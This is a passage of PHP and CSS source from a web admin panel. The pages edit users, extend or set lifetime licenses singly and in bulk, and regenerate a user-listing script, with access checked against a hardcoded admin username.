                  $update_user->bind_param("ssssssi", $username, $license_status, $license_expiry, $telegram, $jabber, $signal, $user_id);
              } else {
                  $update_user = $condb->prepare("UPDATE users SET username = ?, license_status = ?, telegram = ?, jabber = ?, `signal` = ? WHERE id_user = ?");
                  $update_user->bind_param("sssssi", $username, $license_status, $telegram, $jabber, $signal, $user_id);
              }
          }

          if ($update_user->execute()) {
              $message = "User updated successfully!";

              // If we're updating the admin user, make sure to update the session too
              if ($_SESSION['id_user'] == $user_id) {
                  $_SESSION['username'] = $username;
                  $_SESSION['telegram'] = $telegram;
                  $_SESSION['jabber'] = $jabber;
                  $_SESSION['signal'] = $signal;
              }
          } else {
              $error = "Error updating user: " . $condb->error;
          }

          $update_user->close();
      }

      // Get user data
      $user_query = $condb->prepare("SELECT * FROM users WHERE id_user = ?");
      $user_query->bind_param("i", $user_id);
      $user_query->execute();
      $user_result = $user_query->get_result();

      if ($user_result->num_rows === 0) {
          header("Location: cyberok.php?error=User not found");
          exit;
      }

      $user = $user_result->fetch_assoc();
      $user_query->close();
      ?>

      <div class="full-width-container">
          <!-- Edit User Header -->
          <div class="row">
              <div class="col-md-12">
                  <div class="cyber-panel">
                      <div class="cyber-panel-header">
                          <div class="cyber-title">
                              <i class="fas fa-user-edit cyber-icon"></i>
                              <h3>Edit User: <?php echo htmlspecialchars($user['username']); ?></h3>
                              <div class="cyber-title-decoration"></div>
                          </div>
                      </div>
                      <div class="cyber-panel-body">
                          <?php if (!empty($message)): ?>
                          <div class="cyber-notification success">
                              <i class="fas fa-check-circle"></i>
                              <span><?php echo $message; ?></span>
                          </div>
                          <?php endif; ?>

                          <?php if (!empty($error)): ?>
                          <div class="cyber-notification" style="background-color: rgba(255,0,0,0.1); color: #ff4444; border: 1px solid rgba(255,0,0,0.2);">
                              <i class="fas fa-exclamation-triangle"></i>
                              <span><?php echo $error; ?></span>
                          </div>
                          <?php endif; ?>

                          <form method="POST" action="" class="edit-user-form">
                              <div class="row">
                                  <div class="col-md-6">
                                      <div class="form-group">
                                          <label><i class="fas fa-user"></i> Username</label>
                                          <input type="text" name="username" class="form-control" value="<?php echo htmlspecialchars($user['username']); ?>" required>
                                      </div>
                                      <div class="form-group">
                                          <label><i class="fas fa-lock"></i> Password</label>
                                          <input type="password" name="password" class="form-control" placeholder="Leave empty to keep current password">
                                      </div>
                                      <div class="form-group">
                                          <label><i class="fas fa-tag"></i> License Status</label>
                                          <select name="license_status" class="form-control">
                                              <option value="active" <?php echo ($user['license_status'] === 'active') ? 'selected' : ''; ?>>Active</option>
                                              <option value="suspended" <?php echo ($user['license_status'] === 'suspended') ? 'selected' : ''; ?>>Suspended</option>
                                              <option value="expired" <?php echo ($user['license_status'] === 'expired') ? 'selected' : ''; ?>>Expired</option>
                                          </select>
                                      </div>
                                      <?php
                                      // Only show license duration options if the license_expiry column exists
                                      $checkColumn = $condb->query("SHOW COLUMNS FROM users LIKE 'license_expiry'");
                                      if ($checkColumn && $checkColumn->num_rows > 0):
                                      ?>
                                      <div class="form-group">
                                          <label><i class="fas fa-calendar-alt"></i> License Duration</label>
                                          <select name="license_duration" class="form-control">
                                              <option value="keep">Keep Current Expiry</option>
                                              <option value="extend_30">Extend by 30 Days</option>
                                              <option value="extend_90">Extend by 90 Days</option>
                                              <option value="extend_180">Extend by 180 Days</option>
                                              <option value="extend_365">Extend by 365 Days</option>
                                              <option value="lifetime">Set to Lifetime</option>
                                          </select>
                                      </div>
                                      <?php
                                      // Only show current expiry if the license_expiry column exists
                                      if (isset($user['license_expiry'])):
                                      ?>
                                      <div class="form-group">
                                          <label><i class="fas fa-calendar-check"></i> Current Expiry Date</label>
                                          <div class="license-info-box">
                                              <?php if ($user['license_expiry'] === NULL): ?>
                                                  <span class="license-expiry lifetime"><i class="fas fa-infinity"></i> Lifetime</span>
                                              <?php else:
                                                  $now = new DateTime();
                                                  $expiry = new DateTime($user['license_expiry']);
                                                  $interval = $now->diff($expiry);
                                                  $days_left = $interval->format('%a');
                                                  $is_expired = $expiry < $now;
                                                  $expiry_class = $is_expired ? 'expired' : ($days_left <= 3 ? 'critical' : ($days_left <= 7 ? 'warning' : 'good'));
                                              ?>
                                                  <span class="license-expiry <?php echo $expiry_class; ?>">
                                                      <?php echo date('Y-m-d', strtotime($user['license_expiry'])); ?>
                                                      <?php if ($is_expired): ?>
                                                          <span class="license-status-badge expired">Expired</span>
                                                      <?php else: ?>
                                                          <span class="license-status-badge"><?php echo $days_left; ?> days left</span>
                                                      <?php endif; ?>
                                                  </span>
                                              <?php endif; ?>
                                          </div>
                                      </div>
                                      <?php endif; ?>
                                      <?php endif; ?>
                                  </div>

                                  <div class="col-md-6">
                                      <div class="form-group">
                                          <label><i class="fab fa-telegram"></i> Telegram</label>
                                          <input type="text" name="telegram" class="form-control" value="<?php echo htmlspecialchars($user['telegram'] ?? ''); ?>">
                                      </div>
                                      <div class="form-group">
                                          <label><i class="far fa-comment"></i> Jabber</label>
                                          <input type="text" name="jabber" class="form-control" value="<?php echo htmlspecialchars($user['jabber'] ?? ''); ?>">
                                      </div>
                                      <div class="form-group">
                                          <label><i class="fas fa-signal"></i> Signal</label>
                                          <input type="text" name="signal" class="form-control" value="<?php echo htmlspecialchars($user['signal'] ?? ''); ?>">
                                      </div>
                                  </div>
                              </div>

                              <div class="form-actions">
                                  <button type="submit" class="btn btn-primary"><i class="fas fa-save"></i> Save Changes</button>
                                  <a href="cyberok.php" class="btn btn-secondary"><i class="fas fa-arrow-left"></i> Back to Admin Panel</a>
                              </div>
                          </form>
                      </div>
                  </div>
              </div>
          </div>
      </div>

      <style>
      /* Edit User Form Styles */
      .edit-user-form .form-group {
          margin-bottom: 20px;
      }

      .edit-user-form label {
          display: flex;
          align-items: center;
          gap: 10px;
          color: #00f3ff;
          font-family: 'Orbitron', sans-serif;
          margin-bottom: 10px;
          font-size: 14px;
      }

      .edit-user-form label i {
          width: 20px;
          text-align: center;
      }

      .edit-user-form .form-control {
          background: rgba(0, 0, 0, 0.2);
          border: 1px solid rgba(0, 255, 255, 0.2);
          color: white;
          padding: 12px 15px;
          border-radius: 8px;
          transition: all 0.3s ease;
      }

      .edit-user-form .form-control:focus {
          border-color: #00f3ff;
          box-shadow: 0 0 15px rgba(0, 243, 255, 0.3);
          outline: none;
      }

      .edit-user-form .form-actions {
          display: flex;
          gap: 15px;
          margin-top: 30px;
          justify-content: center;
      }

      .edit-user-form .btn {
          padding: 12px 20px;
          display: flex;
          align-items: center;
          gap: 10px;
          transition: all 0.3s ease;
      }

      .edit-user-form .btn-primary {
          background-color: transparent;
          border: 2px solid #00f3ff;
          color: #00f3ff;
      }

      .edit-user-form .btn-primary:hover {
          background-color: #00f3ff;
          color: #0a0a0f;
      }

      .edit-user-form .btn-secondary {
          background-color: transparent;
          border: 2px solid #8a8fa3;
          color: #8a8fa3;
      }

      .edit-user-form .btn-secondary:hover {
          background-color: #8a8fa3;
          color: #0a0a0f;
      }

      .license-info-box {
          background: rgba(0, 0, 0, 0.2);
          border: 1px solid rgba(0, 255, 255, 0.2);
          border-radius: 8px;
          padding: 15px;
          display: flex;
          align-items: center;
          justify-content: center;
      }

      .license-expiry {
          font-family: 'Orbitron', sans-serif;
          font-size: 16px;
          display: flex;
          flex-direction: column;
          align-items: center;
          gap: 5px;
      }

      .license-expiry.lifetime {
          color: #00ff80;
      }

      .license-expiry.expired {
          color: #ff4343;
      }

      .license-expiry.critical {
          color: #ff4343;
      }

      .license-expiry.warning {
          color: #ffa500;
      }

      .license-expiry.good {
          color: #00ff80;
      }

      .license-status-badge {
          font-size: 12px;
          padding: 3px 8px;
          border-radius: 10px;
          background: rgba(0, 0, 0, 0.3);
      }

      .license-status-badge.expired {
          background: rgba(255, 67, 67, 0.2);
      }
      </style>

      <?php include("footer.php"); ?>

- .\Panel\extend_license.php - View Code

      <?php
      error_reporting(E_ALL);
      ini_set('display_errors', 1);

      // Only start session if one isn't already active
      if (session_status() == PHP_SESSION_NONE) {
          session_start();
      }

      // Include database connection
      require_once("config.php");
      if (!isset($condb)) {
          require_once("../config.php");
      }

      // Check connection
      if (!isset($condb) || $condb->connect_error) {
          die("Database connection failed: " . ($condb->connect_error ?? "Unknown error"));
      }

      // Check if user is logged in and is cybervax (admin)
      if(!isset($_SESSION['username']) || $_SESSION['username'] !== 'cybervax') {
          header("Location: index.php");
          exit('Access Denied: Admin privileges required');
      }

      // Check if license_expiry column exists
      $checkLicenseExpiry = $condb->query("SHOW COLUMNS FROM users LIKE 'license_expiry'");
      $hasLicenseExpiry = ($checkLicenseExpiry && $checkLicenseExpiry->num_rows > 0);

      if (!$hasLicenseExpiry) {
          // Check for the backup column name license_end
          $checkLicenseEnd = $condb->query("SHOW COLUMNS FROM users LIKE 'license_end'");
          $hasLicenseEnd = ($checkLicenseEnd && $checkLicenseEnd->num_rows > 0);

          $expiryColumn = $hasLicenseEnd ? 'license_end' : null;
      } else {
          $expiryColumn = 'license_expiry';
      }

      // Initialize variables
      $user = null;
      $success = false;
      $error = '';
      $message = '';

      // Get user ID from GET parameter
      if(isset($_GET['id']) && is_numeric($_GET['id'])) {
          $user_id = intval($_GET['id']);

          // Get user details
          $userQuery = "SELECT id_user, username, license_status, license_start";
          if ($expiryColumn) {
              $userQuery .= ", $expiryColumn";
          }
          $userQuery .= " FROM users WHERE id_user = $user_id";

          $result = mysqli_query($condb, $userQuery);
          if ($result && mysqli_num_rows($result) > 0) {
              $user = mysqli_fetch_assoc($result);
          } else {
              $error = "User not found.";
          }
      } else {
          $error = "Invalid user ID.";
      }

      // Process form submission
      if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'extend') {
          $user_id = intval($_POST['user_id']);
          $duration = $_POST['duration'];

          if (!$expiryColumn) {
              $error = "Cannot extend license: License expiry column not found in database.";
          } else {
              if ($duration === 'lifetime') {
                  // Set to NULL for lifetime
                  $sql = "UPDATE users SET $expiryColumn = NULL, license_status = 'active' WHERE id_user = $user_id";
                  $result = mysqli_query($condb, $sql);
              } else {
                  // Get current expiry date or current date if none exists
                  $checkExpiryQuery = "SELECT $expiryColumn FROM users WHERE id_user = $user_id";
                  $checkResult = mysqli_query($condb, $checkExpiryQuery);
                  $expiryRow = mysqli_fetch_assoc($checkResult);

                  $currentDate = new DateTime();

                  if ($expiryRow && $expiryRow[$expiryColumn] && strtotime($expiryRow[$expiryColumn]) > time()) {
                      // If valid expiry date exists, extend from that date
                      $expiryDate = new DateTime($expiryRow[$expiryColumn]);
                  } else {
                      // Otherwise use current date
                      $expiryDate = $currentDate;
                  }

                  // Add the specified period
                  $days = intval($duration);
                  $expiryDate->modify("+$days days");

                  // Format for MySQL
                  $newExpiryDate = $expiryDate->format('Y-m-d H:i:s');

                  // Update database
                  $sql = "UPDATE users SET $expiryColumn = '$newExpiryDate', license_status = 'active' WHERE id_user = $user_id";
                  $result = mysqli_query($condb, $sql);
              }

              if ($result) {
                  $success = true;
                  $message = "License extended successfully.";

                  // Refresh user data
                  $userQuery = "SELECT id_user, username, license_status, license_start";
                  if ($expiryColumn) {
                      $userQuery .= ", $expiryColumn";
                  }
                  $userQuery .= " FROM users WHERE id_user = $user_id";

                  $result = mysqli_query($condb, $userQuery);
                  if ($result && mysqli_num_rows($result) > 0) {
                      $user = mysqli_fetch_assoc($result);
                  }
              } else {
                  $error = "Error extending license: " . mysqli_error($condb);
              }
          }
      }

      // Include header
      include("header.php");
      ?>

      <div class="container">
          <div class="row">
              <div class="col-md-12">
                  <div class="cyber-panel">
                      <div class="cyber-panel-header">
                          <div class="cyber-title">
                              <i class="fas fa-calendar-plus cyber-icon"></i>
                              <h3>Extend License</h3>
                              <div class="cyber-title-decoration"></div>
                          </div>
                      </div>
                      <div class="cyber-panel-body">
                          <?php if ($success): ?>
                          <div class="alert alert-success">
                              <i class="fas fa-check-circle"></i> <?php echo $message; ?>
                          </div>
                          <?php endif; ?>

                          <?php if ($error): ?>
                          <div class="alert alert-danger">
                              <i class="fas fa-exclamation-triangle"></i> <?php echo $error; ?>
                          </div>
                          <?php endif; ?>

                          <?php if (!$expiryColumn): ?>
                          <div class="alert alert-warning">
                              <i class="fas fa-exclamation-circle"></i>
                              <strong>Warning:</strong> License expiry column not found in database.
                              Please <a href="fix_license_expiry.php">fix the database structure</a> before extending licenses.
                          </div>
                          <?php endif; ?>

                          <?php if ($user): ?>
                          <div class="user-info-card">
                              <h4>User Information</h4>
                              <div class="user-details">
                                  <div class="detail-item">
                                      <span class="detail-label">Username:</span>
                                      <span class="detail-value"><?php echo htmlspecialchars($user['username']); ?></span>
                                  </div>
                                  <div class="detail-item">
                                      <span class="detail-label">Current Status:</span>
                                      <span class="detail-value <?php echo $user['license_status']; ?>">
                                          <?php echo ucfirst($user['license_status']); ?>
                                      </span>
                                  </div>
                                  <div class="detail-item">
                                      <span class="detail-label">License Start:</span>
                                      <span class="detail-value">
                                          <?php
                                          echo $user['license_start']
                                              ? date('Y-m-d', strtotime($user['license_start']))
                                              : 'N/A';
                                          ?>
                                      </span>
                                  </div>
                                  <div class="detail-item">
                                      <span class="detail-label">Current Expiry:</span>
                                      <span class="detail-value">
                                          <?php
                                          if (isset($user[$expiryColumn])) {
                                              if ($user[$expiryColumn] === NULL) {
                                                  echo '<span style="color:#00ff80;">Γê₧ Lifetime</span>';
                                              } else if (!empty($user[$expiryColumn])) {
                                                  echo date('Y-m-d', strtotime($user[$expiryColumn]));
                                              } else {
                                                  echo 'N/A';
                                              }
                                          } else {
                                              echo 'N/A';
                                          }
                                          ?>
                                      </span>
                                  </div>
                              </div>
                          </div>

                          <div class="extend-form-card">
                              <h4>Extend License</h4>
                              <form method="POST" action="">
                                  <input type="hidden" name="action" value="extend">
                                  <input type="hidden" name="user_id" value="<?php echo $user['id_user']; ?>">

                                  <div class="form-group">
                                      <label>Extension Period</label>
                                      <select name="duration" class="form-control">
                                          <option value="7">7 Days</option>
                                          <option value="30" selected>30 Days</option>
                                          <option value="90">3 Months (90 Days)</option>
                                          <option value="180">6 Months (180 Days)</option>
                                          <option value="365">1 Year (365 Days)</option>
                                          <option value="lifetime">Lifetime (Never Expires)</option>
                                      </select>
                                  </div>

                                  <div class="form-buttons">
                                      <button type="submit" class="btn btn-primary">
                                          <i class="fas fa-check"></i> Extend License
                                      </button>
                                      <a href="cyberok.php" class="btn btn-secondary">
                                          <i class="fas fa-arrow-left"></i> Back to Admin Panel
                                      </a>
                                  </div>
                              </form>
                          </div>
                          <?php else: ?>
                          <div class="alert alert-danger">
                              <i class="fas fa-exclamation-triangle"></i> User not found
                          </div>
                          <div class="form-buttons">
                              <a href="cyberok.php" class="btn btn-secondary">
                                  <i class="fas fa-arrow-left"></i> Back to Admin Panel
                              </a>
                          </div>
                          <?php endif; ?>
                      </div>
                  </div>
              </div>
          </div>
      </div>

      <style>
      .user-info-card, .extend-form-card {
          background: rgba(19, 19, 31, 0.85);
          border: 1px solid rgba(0, 255, 255, 0.2);
          border-radius: 15px;
          padding: 20px;
          margin-bottom: 20px;
      }

      .user-details {
          display: grid;
          grid-template-columns: repeat(2, 1fr);
          gap: 15px;
          margin-top: 15px;
      }

      @media (max-width: 768px) {
          .user-details {
              grid-template-columns: 1fr;
          }
      }

      .detail-item {
          display: flex;
          flex-direction: column;
          background: rgba(0, 0, 0, 0.2);
          padding: 10px 15px;
          border-radius: 8px;
          border: 1px solid rgba(0, 255, 255, 0.1);
      }

      .detail-label {
          color: #8a8fa3;
          font-size: 12px;
          margin-bottom: 5px;
      }

      .detail-value {
          color: #ffffff;
          font-size: 16px;
      }

      .detail-value.active {
          color: #00ff80;
      }

      .detail-value.suspended {
          color: #ffa500;
      }

      .detail-value.expired {
          color: #ff4343;
      }

      .form-buttons {
          display: flex;
          gap: 15px;
          margin-top: 20px;
      }

      .btn-secondary {
          background: transparent;
          border: 2px solid #8a8fa3;
          color: #8a8fa3;
          border-radius: 8px;
          padding: 10px 20px;
          transition: all 0.3s ease;
      }

      .btn-secondary:hover {
          background: rgba(138, 143, 163, 0.2);
          color: #ffffff;
          transform: translateY(-2px);
      }

      h4 {
          color: #00f3ff;
          font-family: 'Orbitron', sans-serif;
          margin-bottom: 15px;
          text-shadow: 0 0 10px rgba(0, 243, 255, 0.3);
      }

      .alert {
          border-radius: 10px;
          margin-bottom: 20px;
          padding: 15px;
      }

      .alert-success {
          background-color: rgba(0, 255, 128, 0.1);
          border: 1px solid rgba(0, 255, 128, 0.3);
          color: #00ff80;
      }

      .alert-danger {
          background-color: rgba(255, 67, 67, 0.1);
          border: 1px solid rgba(255, 67, 67, 0.3);
          color: #ff4343;
      }

      .alert-warning {
          background-color: rgba(255, 165, 0, 0.1);
          border: 1px solid rgba(255, 165, 0, 0.3);
          color: #ffa500;
      }
      </style>

      <?php
      include("footer.php");
      ?>

- .\Panel\extend_licenses.php - View Code

      <?php
      session_start();
      require_once("config.php");

      // Check if $condb is not defined, try including the parent directory config
      if (!isset($condb)) {
          require_once("../config.php");
      }

      // Final check if $condb is still not defined
      if (!isset($condb)) {
          header('Content-Type: application/json');
          echo json_encode(['error' => 'Database connection error']);
          exit;
      }

      // Check if user is logged in and is cybervax (admin)
      if(!isset($_SESSION['username']) || $_SESSION['username'] !== 'cybervax') {
          header('Content-Type: application/json');
          echo json_encode(['error' => 'Access Denied']);
          exit;
      }

      // Check if the request is a POST request
      if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
          header('Content-Type: application/json');
          echo json_encode(['error' => 'Invalid request method']);
          exit;
      }

      // Check if required parameters are provided
      if (!isset($_POST['bulk_action']) || !isset($_POST['selected_users']) || !is_array($_POST['selected_users'])) {
          header('Content-Type: application/json');
          echo json_encode(['error' => 'Missing required parameters']);
          exit;
      }

      $bulk_action = $_POST['bulk_action'];
      $selected_users = array_map('intval', $_POST['selected_users']);

      if (empty($selected_users)) {
          header('Content-Type: application/json');
          echo json_encode(['error' => 'No users selected']);
          exit;
      }

      // Convert array to string for logging
      $user_ids_string = implode(',', $selected_users);

      // Begin transaction
      $condb->begin_transaction();

      try {
          $affected_rows = 0;

          switch ($bulk_action) {
              case 'extend_30':
              case 'extend_90':
              case 'extend_180':
              case 'extend_365':
                  // Get days from action
                  $days = str_replace('extend_', '', $bulk_action);

                  // Process each user
                  foreach ($selected_users as $user_id) {
                      // Get current license info
                      $license_query = $condb->prepare("SELECT license_status, license_expiry FROM users WHERE id_user = ?");
                      $license_query->bind_param("i", $user_id);
                      $license_query->execute();
                      $license_result = $license_query->get_result();

                      if ($license_result->num_rows > 0) {
                          $license = $license_result->fetch_assoc();

                          // Calculate new expiry date
                          if ($license['license_expiry'] === NULL) {
                              // If license is lifetime, keep it that way
                              $new_expiry = NULL;
                          } else {
                              // If license is expired, start from current date
                              $now = new DateTime();
                              $expiry = new DateTime($license['license_expiry']);

                              if ($expiry < $now) {
                                  // Start from now if expired
                                  $expiry = $now;
                              }

                              // Add days
                              $expiry->modify("+{$days} days");
                              $new_expiry = $expiry->format('Y-m-d H:i:s');
                          }

                          // Update license expiry and ensure status is active
                          $update_license = $condb->prepare("UPDATE users SET license_expiry = ?, license_status = 'active' WHERE id_user = ?");
                          $update_license->bind_param("si", $new_expiry, $user_id);
                          $update_license->execute();
                          $affected_rows += $update_license->affected_rows;
                          $update_license->close();
                      }

                      $license_query->close();
                  }

                  // Log the action
                  $log_details = "Extended licenses by {$days} days for users: {$user_ids_string}";
                  break;

              case 'activate':
              case 'suspend':
              case 'expire':
                  $status = $bulk_action;

                  // Update all selected users
                  $update_status = $condb->prepare("UPDATE users SET license_status = ? WHERE id_user IN (" . implode(',', array_fill(0, count($selected_users), '?')) . ")");

                  // Build the parameter types string (all integers)
                  $types = 's' . str_repeat('i', count($selected_users));

                  // Create array with status as first parameter, followed by user IDs
                  $params = array_merge([$types, $status], $selected_users);

                  // Dynamic binding
                  call_user_func_array([$update_status, 'bind_param'], $params);

                  $update_status->execute();
                  $affected_rows = $update_status->affected_rows;
                  $update_status->close();

                  // Log the action
                  $log_details = "Changed license status to '{$status}' for users: {$user_ids_string}";
                  break;

              default:
                  throw new Exception("Invalid bulk action");
          }

          // Log the action
          $log_query = $condb->prepare("INSERT INTO admin_logs (admin_username, action, details) VALUES (?, 'bulk_license_update', ?)");
          $log_query->bind_param("ss", $_SESSION['username'], $log_details);
          $log_query->execute();
          $log_query->close();

          // Commit the transaction
          $condb->commit();

          header('Content-Type: application/json');
          echo json_encode(['success' => true, 'affected_rows' => $affected_rows]);

      } catch (Exception $e) {
          // Rollback the transaction
          $condb->rollback();

          header('Content-Type: application/json');
          echo json_encode(['error' => $e->getMessage()]);
      }

      exit;
      ?>

- .\Panel\extend_license_ajax.php - View Code

      <?php
      session_start();
      require_once("config.php");

      // Check if $condb is not defined, try including the parent directory config
      if (!isset($condb)) {
          require_once("../config.php");
      }

      // Set content type to JSON
      header('Content-Type: application/json');

      // Response object
      $response = [
          'success' => false,
          'message' => ''
      ];

      // Check if license_expiry column exists
      $checkColumn = $condb->query("SHOW COLUMNS FROM users LIKE 'license_expiry'");
      $licenseExpiryExists = ($checkColumn && $checkColumn->num_rows > 0);

      if (!$licenseExpiryExists) {
          $response['message'] = 'License expiry functionality is not available in this database schema.';
          echo json_encode($response);
          exit;
      }

      // Check if user is logged in and is cybervax (admin)
      if(!isset($_SESSION['username']) || $_SESSION['username'] !== 'cybervax') {
          $response['message'] = 'Access denied. Admin privileges required.';
          echo json_encode($response);
          exit;
      }

      // Handle lifetime license request
      if(isset($_POST['action']) && $_POST['action'] === 'lifetime' && isset($_POST['user_id'])) {
          $user_id = intval($_POST['user_id']);

          // Check if the user exists
          $check_user = $condb->prepare("SELECT id_user FROM users WHERE id_user = ?");
          $check_user->bind_param("i", $user_id);
          $check_user->execute();
          $user_result = $check_user->get_result();

          if($user_result->num_rows == 0) {
              $response['message'] = 'User not found.';
              echo json_encode($response);
              exit;
          }

          // Update to lifetime license (NULL expiry)
          $update_lifetime = $condb->prepare("UPDATE users SET license_expiry = NULL, license_status = 'active' WHERE id_user = ?");
          $update_lifetime->bind_param("i", $user_id);

          if($update_lifetime->execute()) {
              $response['success'] = true;
              $response['message'] = "License set to lifetime.";
          } else {
              $response['message'] = "Error updating license: " . $condb->error;
          }

          $update_lifetime->close();
          $check_user->close();
          echo json_encode($response);
          exit;
      }

      // Check if proper POST parameters are sent
      if(!isset($_POST['user_id']) || !isset($_POST['days'])) {
          $response['message'] = 'Missing required parameters.';
          echo json_encode($response);
          exit;
      }

      $user_id = intval($_POST['user_id']);
      $days = intval($_POST['days']);

      // Validate parameters
      if($user_id <= 0) {
          $response['message'] = 'Invalid user ID.';
          echo json_encode($response);
          exit;
      }

      if($days <= 0) {
          $response['message'] = 'Days must be a positive number.';
          echo json_encode($response);
          exit;
      }

      // Check if the user exists
      $check_user = $condb->prepare("SELECT id_user, license_expiry FROM users WHERE id_user = ?");
      $check_user->bind_param("i", $user_id);
      $check_user->execute();
      $user_result = $check_user->get_result();

      if($user_result->num_rows == 0) {
          $response['message'] = 'User not found.';
          echo json_encode($response);
          exit;
      }

      $user = $user_result->fetch_assoc();

      // Calculate new expiry date
      $current_date = new DateTime();
      $new_expiry_date = null;

      if($user['license_expiry'] === NULL) {
          // Lifetime license - no need to change
          $response['success'] = true;
          $response['message'] = 'License is already lifetime.';
          echo json_encode($response);
          exit;
      } else {
          // Add days to current expiry
          $expiry_date = new DateTime($user['license_expiry']);

          // If expired, start from current date
          if($expiry_date < $current_date) {
              $expiry_date = $current_date;
          }

          // Add days
          $expiry_date->modify("+{$days} days");
          $new_expiry_date = $expiry_date->format('Y-m-d H:i:s');
      }

      // Update license expiry date and set status to active
      $update_license = $condb->prepare("UPDATE users SET license_expiry = ?, license_status = 'active' WHERE id_user = ?");
      $update_license->bind_param("si", $new_expiry_date, $user_id);

      if($update_license->execute()) {
          $response['success'] = true;
          $response['message'] = "License extended successfully.";
      } else {
          $response['message'] = "Error updating license: " . $condb->error;
      }

      $update_license->close();
      $check_user->close();

      echo json_encode($response);
      exit;
      ?>

- .\Panel\fix_admin.php - View Code

      <?php
      error_reporting(E_ALL);
      ini_set('display_errors', 1);
      session_start();

      // Only allow admin to access this page
      if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'cybervax') {
          echo "Access denied. Admin privileges required.";
          exit;
      }

      // Process fix action
      $message = '';
      $error = '';
      $success = false;

      if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['fix_action'])) {
          $action = $_POST['fix_action'];

          // Connect to database
          require_once("config.php");
          if (!isset($condb)) {
              require_once("../config.php");
          }

          if (!isset($condb)) {
              $error = "Database connection failed. Check your config.php file.";
          } else {
              // Perform the requested action
              if ($action === 'Restore Default get_users.php') {
                  // Backup current get_users.php
                  if (file_exists('get_users.php')) {
                      copy('get_users.php', 'get_users_backup_' . date('Y-m-d_H-i-s') . '.php');
                  }

                  // Create a simplified version of get_users.php
                  $content = '<?php
      session_start();
      error_reporting(E_ALL);
      ini_set("display_errors", 0);

      require_once("config.php");

      // Check if $condb is not defined, try including the parent directory config
      if (!isset($condb)) {
          require_once("../config.php");
      }

      // Check if user is logged in and is admin
      if(!isset($_SESSION[\'username\']) || $_SESSION[\'username\'] !== \'cybervax\') {
          echo \'<div class="cyber-notification" style="background-color: rgba(255,0,0,0.1); color: #ff4444; border: 1px solid rgba(255,0,0,0.2);">
              <i class="fas fa-exclamation-triangle"></i>
              <span>Access Denied</span>
          </div>\';
          exit;
      }

      // Check if the license_expiry column exists but don\'t require it
      $checkColumn = $condb->query("SHOW COLUMNS FROM users LIKE \'license_expiry\'");
      $hasLicenseExpiry = ($checkColumn && $checkColumn->num_rows > 0);

      // Get all users
      if ($hasLicenseExpiry) {
          $users_query = "SELECT id_user, username, license_status, license_start, license_expiry FROM users ORDER BY id_user";
      } else {
          $users_query = "SELECT id_user, username, license_status, license_start FROM users ORDER BY id_user";
      }

      $users_result = mysqli_query($condb, $users_query);

      if (!$users_result) {
          echo \'<div class="cyber-notification" style="background-color: rgba(255,0,0,0.1); color: #ff4444; border: 1px solid rgba(255,0,0,0.2);">
              <i class="fas fa-exclamation-triangle"></i>
              <span>Error querying users: \' . mysqli_error($condb) . \'</span>
          </div>\';
          exit;
      }

      if (mysqli_num_rows($users_result) > 0) {
          // Output HTML table with users
          echo \'<div class="license-tools">
              <form method="POST" action="user_actions.php" class="license-form">
                  <div class="form-group">
                      <label>Bulk Action</label>
                      <select name="bulk_action" class="form-control">
                          <option value="activate">Activate License</option>
                          <option value="suspend">Suspend License</option>
                          <option value="expire">Expire License</option>
                          <option value="delete">Delete Users</option>
                      </select>
                  </div>
                  <button type="submit" class="btn btn-primary bulk-action-btn">Apply to Selected</button>
              </form>
          </div>\';

          echo \'<div class="table-responsive">
              <table class="table table-hover">
                  <thead>
                      <tr>
                          <th><input type="checkbox" id="select-all"></th>
                          <th>ID</th>
                          <th>Username</th>
                          <th>Status</th>
                          <th>Start Date</th>
                          <th>Expiry Date</th>
                          <th>Actions</th>
                      </tr>
                  </thead>
                  <tbody>\';

          while ($user = mysqli_fetch_assoc($users_result)) {
              // Determine status class for coloring
              $status_class = \'\';
              switch ($user[\'license_status\']) {
                  case \'active\':
                      $status_class = \'success\';
                      break;
                  case \'suspended\':
                      $status_class = \'warning\';
                      break;
                  case \'expired\':
                      $status_class = \'danger\';
                      break;
                  default:
                      $status_class = \'secondary\';
              }

              // Format expiry date
              $expiry_date_formatted = \'N/A\';
              if ($hasLicenseExpiry && isset($user[\'license_expiry\'])) {
                  if ($user[\'license_expiry\'] === NULL) {
                      $expiry_date_formatted = \'<span style="color:#00ff80;">Γê₧ Lifetime</span>\';
                  } else if (!empty($user[\'license_expiry\'])) {
                      $expiry_date_formatted = date(\'Y-m-d\', strtotime($user[\'license_expiry\']));
                  }
              }

              echo \'<tr>
                  <td><input type="checkbox" name="selected_users[]" value="\' . $user[\'id_user\'] . \'" class="user-select"></td>
                  <td>\' . $user[\'id_user\'] . \'</td>
                  <td>\' . htmlspecialchars($user[\'username\']) . \'</td>
                  <td><span class="label label-\' . $status_class . \'">\' . ucfirst($user[\'license_status\']) . \'</span></td>
                  <td>\' . ($user[\'license_start\'] ? date(\'Y-m-d\', strtotime($user[\'license_start\'])) : \'N/A\') . \'</td>
                  <td>\' . $expiry_date_formatted . \'</td>
                  <td>
                      <div class="user-actions">
                          <button class="btn btn-xs btn-danger" onclick="if(confirm(\\\'Are you sure you want to delete this user?\\\')) window.location.href=\\\'delete_user.php?id=\' . $user[\'id_user\'] . \'\\\';"><i class="fas fa-trash"></i> Delete</button>
                      </div>
                  </td>
              </tr>\';
          }

          echo \'</tbody>
              </table>
          </div>\';

          // Add JavaScript for checkboxes
          echo \'<script>
          document.addEventListener("DOMContentLoaded", function() {
              const selectAll = document.getElementById("select-all");
              const userCheckboxes = document.querySelectorAll(".user-select");

              selectAll.addEventListener("change", function() {
                  userCheckboxes.forEach(checkbox => {
                      checkbox.checked = selectAll.checked;
                  });
              });
          });
          </script>\';

          // Add styling
          echo \'<style>
          .license-tools {
              display: flex;
              justify-content: space-between;
              align-items: center;
              margin-bottom: 20px;
              background: rgba(19, 19, 31, 0.85);
              border: 1px solid rgba(0, 255, 255, 0.2);
              border-radius: 15px;
              padding: 20px;
          }

          .license-form {
              display: flex;
              align-items: center;
              gap: 15px;
          }

          .license-form .form-group {
              margin-bottom: 0;
              min-width: 200px;
          }

          .user-actions {
              display: flex;
              gap: 5px;
              flex-wrap: wrap;
              align-items: center;
          }

          .label {
              display: inline-block;
              padding: 4px 8px;
              border-radius: 4px;
              font-size: 12px;
          }

          .label-success {
              background: rgba(0, 255, 128, 0.15);
              color: #00ff80;
